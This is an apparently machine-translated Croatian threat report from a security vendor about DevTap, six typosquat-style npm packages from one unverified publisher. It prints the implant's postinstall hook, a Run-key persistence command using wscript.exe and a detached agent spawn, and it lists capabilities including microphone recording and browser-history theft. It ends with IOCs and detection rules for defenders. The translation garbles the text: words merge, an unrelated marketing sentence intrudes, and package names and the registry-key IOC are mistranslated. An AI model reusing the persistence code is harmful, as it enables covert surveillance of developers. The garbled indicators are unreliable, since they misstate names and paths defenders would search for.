Napad tipografije u DevTap npm-u

DevTap npm tiposquatting napad: Šest zlonamjernih paketa cilja radne stanice programera

TL; DR

Između 1. travnja i 3. svibnja 2026., jedan npm izdavač, user0001, registriran s neprovjerenom Gmail adresom tanvisoul9@gmail.com, tiho je progurao šest paketa s namjerno blagim nazivima koji zvuče kao infrastruktura: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimei node-env-resolve.

Najnovije dvije verzije node-env-resolveVerzije , 1.0.7 i 1.0.8, označene su od strane Xygenijevog sustava za rano upozoravanje na zlonamjerni softver (MEW) 2. svibnja, a potvrđene su kao zlonamjerne 3. svibnja.

Implantat je neobičan zbog onoga što nije: nema Telegram botova, nema OAST povratnih poziva, nema skrivanje određenih potezai bez pokušaja preuzimanja AWS vjerodajnica prilikom instalacije. Umjesto toga, postinstall.js postavlja unos za perzistenciju pokretanja sustava Windows pomoću tipke HKCU Run koja pokreće wscript.exe na VBS stub. Zatim stvara odvojeni Node.js agent koji objedinjuje module za snimanje mikrofona, krađu povijesti preglednika, snimke zaslona i simulaciju miša/tipkovnice.

Ovaj klaster nazivamo DevTap, nakon što komplet izađe iz pogona, nastavlja se izvršavati na računalu programera.

Svih šest paketa bilo je aktivno na npm-u u vrijeme pisanja ovog teksta. Poslali smo ih na kanal za zloupotrebu registra. Branitelji bi trebali povući sve instalacije od izdavača koje čekaju uklanjanje.

Klaster: Šest paketa, jedan izdavač

Račun izdavača user0001 nije potvrđeno. Nema SCM provjera, bez e-pošte vezane uz domenu i bez prethodne povijesti. Gmail nadimak tanvisoul9 ne pojavljuje se ni u jednom drugom zapisu izdavača NPM-a koji smo uspjeli pronaći.

Svih šest paketa navodi istog održavatelja, objavljeni su s istog računa i dijele iste package.json standardni. Nema repositoryNa homepage, i ne description duži od jedne linije.

Strategija imenovanja je zanimljiv dio. Za razliku od klasične kampanje zbrke ovisnosti ili tipografskih pogrešaka, nijedno od ovih imena nije usmjereno na određenu uzvodnu biblioteku. Umjesto toga, kalibrirana su tako da nestanu u stvarnom package.json or npm ls izlaz.

PaketPrvo objavljenoNajnovija verzijaverzijeUloga u klasteru
centralogger2026-04-01 12:46 UTC1.0.95, od 1.0.5 do 1.0.9Naslovnica klastera o „uslužnom programu za bilježenje“; najranija objava
dom-utils-lite2026-04-14 07:36 UTC1.0.33Generički DOM-pomoćni pokrov
dohvaćanje čvorova - Lite2026-04-19 10:22 UTC1.0.23Oponaša obitelj dohvaćanja čvorova
konektor-agent2026-04-25 05:12 UTC1.0.01Generički naziv "agent"
node-gyp-runtime2026-04-25 05:17 UTC1.0.01Oponaša alate za izgradnju izvornih modula
rješavanje okruženja čvora2026-04-25 05:21 UTC1.0.910, od 1.0.0 do 1.0.9Aktivna kapaljka; puni implantat

Imena poput centralogger, node-fetch-litei node-gyp-runtime dizajnirani su da izgledaju nekontroverzno u pregledu koda. Zvuče kao stvari koje bi već bile u stablu ovisnosti projekta.

U kombinaciji sa svježim, neprovjerenim izdavačem i nedostajućim vezama na repozitorij, oni tvore prepoznatljiv obrazac: akter unosi imena s niskim trenjem u registar, a zatim brzo prelazi na ono koje je važno. U ovom slučaju, node-env-resolve primio deset verzija u osam dana.

Što se nalazi na Windows Dev Boxu

Zlonamjerni lanac na node-env-resolve:1.0.8 je kratak, izravan i neobično bogat značajkama za npm RAT.

Nakon instalacije: Perzistentnost i odvojeni agent

package.json deklarira jednu instalacijsku hook:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js radi tri stvari redom.

Prvo, priprema instalacijski direktorij izvan npm stabla. Putanja se izračunava tijekom izvođenja u skripti kao INSTALL_DIRZatim pokreće interni execSync('npm install --production --silent ...') unutar njega kako bi se preuzele ovisnosti implantata o vremenu izvođenja. To agenta stavlja na disk negdje gdje je priručnik node_modules revizija neće pronaći.

Drugo, piše VBS pokretač i registrira ga za perzistenciju pokretanja:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe je Windows Script Host, potpisana Microsoftova binarna datoteka koja se pokreće .vbs datoteke bez konzolnog prozora. To je prethodnocisZato je omiljen za autorun stubove.

Također postoji i podudaranje reg delete put unutra src/index.js, što sugerira da je implantat dizajniran tako da se može lako ukloniti na zahtjev operatera.

Treće, stvara odvojeni podređeni proces:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Ovdje su važna dva detalja.

SERVER_URL čita se iz okruženja. Kao rezultat toga, krajnja točka C2 se može konfigurirati po implementaciji i nije ugrađena u paket. Taj mali, ali namjerni izbor poništava većinu statičkih IOC pregleda.

Također, stvoreno dijete nasljeđuje cijelo roditeljsko okruženje. Stoga, bilo koji NPM_TOKEN, AWS_*, GITHUB_TOKEN, ili SSH-agent socket prisutan u razvojnoj ljusci tijekom instalacije putuje u memoriju dugovječnog agenta.

Što agent isporučuje

U paketu src/ stablo uključuje tri modula čija sama imena govore priču: audioCapture.js, browserHistory.jsi systemInfo.js.

Popis ovisnosti za vrijeme izvođenja, riješen tijekom faze npm install, potvrđuje ih.

Ovaj pristup pretvara kaotičan incident u kontrolirani odgovor.

Umjesto da reagiraju slijepo, timovi djeluju s jasno određivanje prioriteta i brzo rješavanje problema.

zavisnostČemu služi u ovom kontekstu
snimka zaslona-radne površinePeriodično snimanje zaslona
@orahov-tree-fork/orah-jsAutomatizacija/simulacija unosa mišem i tipkovnicom
bolji-sqlite3Izravno čitanje SQLite baza podataka povijesti Chromea, Edgea i Firefoxa
adm-zipGrupiranje prikupljenih artefakata prije izvlačenja
oštarPromjena veličine/komprimiranje snimaka zaslona i artefakata na slikama
socket.io-klijentTrajni dvosmjerni C2 kanal
ID-a-čvora-računalaStabilan otisak prsta po hostu za praćenje žrtve

systemInfo.js pozivi os.networkInterfaces() za dodatno uzimanje otisaka prstiju prije prvog beacona.

Zašto je snimanje zvuka istaknuti signal

Većina npm RAT-ova koje trijažiramo u MEW-u zaustavljaju se na tajnoj krađi tijekom instalacije. Čitaju ~/.npmrc, čitati ~/.aws/credentialsstrugati process.env, POST na webhook i izlaz. To odgovara ekonomskom modelu "razbij i zgrabi". Vjerodajnice imaju kratko vrijeme poluraspada i napadač ih mora brzo unovčiti.

node-env-resolve je različitog oblika.

Perzistencija je postavljena da preživi ponovno pokretanje. Agent radi odvojeno i dugovječan je pod wscript.exeKomplet koji sadrži namijenjen je za korištenje na računalu programera, a ne za preuzimanje i odlazak: snimač mikrofona, upravljački program za tipkovnicu/miš, potpuni unos povijesti preglednika, snimanje zaslona i interaktivni Socket.IO kanal natrag do konfiguriranog C2.

Hvatanje mikrofona je posebno granica koju ova kampanja prelazi, a koju većina npm zlonamjernog softvera ne prelazi.

Razvojna radna stanica sve je češće i radna stanica na kojoj razvojni programeri održavaju stand-up govore, pozive s klijentima, rasprave o dizajnu i dežurne razgovore. Implant koji snima mikrofon zapravo ne traži npm token razvojnog programera. On traži ono što razvojni programer govori ispred prijenosnog računala.

Taj skup mogućnosti, uz nedostatak zamagljivanja i odsutnost bilo kakvog blještavog krađe podataka tijekom instalacije, čita se kao prethodno pozicioniranje za ciljani pristup, a ne kao oportunistička krađa vjerodajnica.

Ne tvrdimo pripisivanje samo na temelju ovoga. Bilježimo operativni profil.

napad s npm tiposquattingom - DevTab

Osmodnevna iteracijska kadenca na node-env-resolve je najoperativnije indikativni detalj na vremenskoj liniji.

Ovo nije instalacija po principu "ispali i zaboravi". Izdavač aktivno održava instalaciju, što obično znači jednu od dvije stvari. Ili je prilagođavaju testnim okruženjima prije šire implementacije ili već imaju telemetriju instalacije i odgovaraju na nju.

Ostalih pet paketa nije doživjelo odljev nakon početne objave. To se uklapa u obrazac "jednom provjeri, ostavi imenovano" za prateći klaster dok se inženjerski napori usredotočuju na paket koji obavlja posao.

Pripisivanje: Sitni tragovi, bez čvrste presude

javnost OSINT signali su tanki i nećemo ih rastezati. Što je vidljivo:

Gmail nadimak tanvisoul9 djelomično podsjeća na južnoazijsko ime, „Tanvi“. Ovo je slab signal. Gmail nadimci ne predstavljaju identitet, a prateći soul9 je generičko. Nije sigurno zaključivati ​​o geografiji samo iz lokalnog dijela e-pošte.

Stil koda je neupadljiv Node.js: standard pozivi u knjižnicu kao što su os, child_process, spawni reg addNema maskiranja, rotacije stringova niti logike protiv otklanjanja pogrešaka. Autor se dobro snalazi s primitivima registra sustava Windows i orkestracijom odvojenih podređenih procesa, ali se ne čini da poseže za prikrivenijim vještinama koje bi vjerojatno mogli koristiti.

Ovisnosti su potpuno standardne i dobro poznate: screenshot-desktop, nut-js, better-sqlite3i socket.io-clientNe postoji prilagođeni protokol, nema C2 steka kreiranog od nule, niti novi trik za perzistenciju izvan udžbenika. Ključ za pokretanje HKCU-aOvo je kompetentan integrator, a ne autor alata.

Unutar objavljenih artefakata nismo pronašli nizove znakova koji nisu na engleskom jeziku, ugrađene komentare, podatke o lokaciji ili otiske vremenskih zona iz izlaza kompajlera.

Provjerili smo preklapanje koda s prethodnim kampanjama koje već pratimo, uključujući Shai Hulud, Owlivion, Buildkite i nedavni heibai / claude-code-best Obitelj klonova Antropičnog CLI-ja. Nismo pronašli nijedan: nema zajedničkih C2 obrazaca, nema zajedničkih rasporeda datoteka niti zajedničkih idioma.

Ono što ne bismo rekli: da se radi o državnom akteru, poznatoj skupini ili da je geografski vezan za neku određenu zemlju.

Operativni profil je u skladu s malim, umjereno vještim timom koji provodi nadzor radnih stanica programera. Vjerojatno je financijski motiviran korištenjem pristupa naknadno, ali moguće i izviđanjem kao uslugom za zasebnog kupca.

Dvije indirektne točke idu u prilog tome: izbjegavanje odvlačenja pažnje i mehanizma eksfiltracije koji bi brzo uništili klaster, poput Telegram botova, oastify.com, ili canarytokens, i namjerno bezlična imena paketa, koja favoriziraju tihe instalacije s dugim repom u odnosu na kratkotrajni porast velikog broja instalacija.

Pokazatelji kompromitiranja i otkrivanja

Paketi i izdavač
PoljeJoš malo brojeva
npm izdavačuser0001
E-pošta izdavačatanvisoul9@gmail.com, neprovjereno
Paketicentralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
Potvrđeno zlonamjernonode-env-resolve@1.0.7, node-env-resolve@1.0.8
Artefakti domaćina
TipJoš malo brojeva
Ključ postojanostiHKCU\Softver\Microsoft\Windows\Trenutna verzija\Pokreni
Vrijednost postojanostiNaziv varijable; podaci oblika wscript.exe " \\ .vbs"
Ugradite kukupostinstall: čvor postinstall.js u manifestu paketa
Implantni modulisrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Pripremni direktorijINSTALL_DIR riješen izvan node_modules projekta; lokacija postavljena od strane postinstall.js u vrijeme instalacije
mreža
TipJoš malo brojeva
C2 prijevozsocket.io-klijent, trajni dvosmjerni kanal
Krajnja točka C2Pruža se agentu putem varijable okruženja SERVER_URL; nije ugrađeno u objavljene artefakte

Bilješke o detekciji

Dva pravila hvataju ovu obitelj bez potrebe za krajnjom točkom C2.

Prvo, označite skripte nakon instalacije koje izvršavaju internu npm install u putanju izvan vlastitog direktorija paketa. Bilo koji legitimni program za preuzimanje predizgradnje, kao što je node-gyp ponovno izgrađuje ili preuzima unaprijed izgrađene binarne datoteke, zapisuje unutar paketa ili u platformu-standard putanje predmemorije s provjerenim hashovima. Ne zapisuje u novokreiranu INSTALL_DIR negdje drugdje na disku.

Drugo, označite skripte nakon instalacije koje izdaju reg add HKCU\…\Run sa wscript.exe kao pokretač. Ovo u biti nikada nije legitimno iz npm paketa. Označite ga i stavite u karantenu.

Treća heuristika je korisna za uočavanje sljedećeg srodnog paketa prije nego što bude potvrđen: novi npm izdavač bez SCM provjera, Gmail e-pošta, ne repository polje, a više kratkih, generičkih naziva paketa koji zvuče kao infrastruktura objavljenih u roku od nekoliko dana samo je po sebi dovoljno da opravda ručni pregled.

Prijavljeno npm registru. Ažurirat ćemo ovu objavu kada se ukloni račun izdavača.

alati-za-analizu-sastava-softvera-sca-tools
Prioritizirajte, sanirajte i osigurajte softverske rizike
Nabavite svoj besplatni račun.
Nije potrebna kreditna kartica.

Osigurajte svoj razvoj i isporuku softvera

s Xygeni paketom proizvoda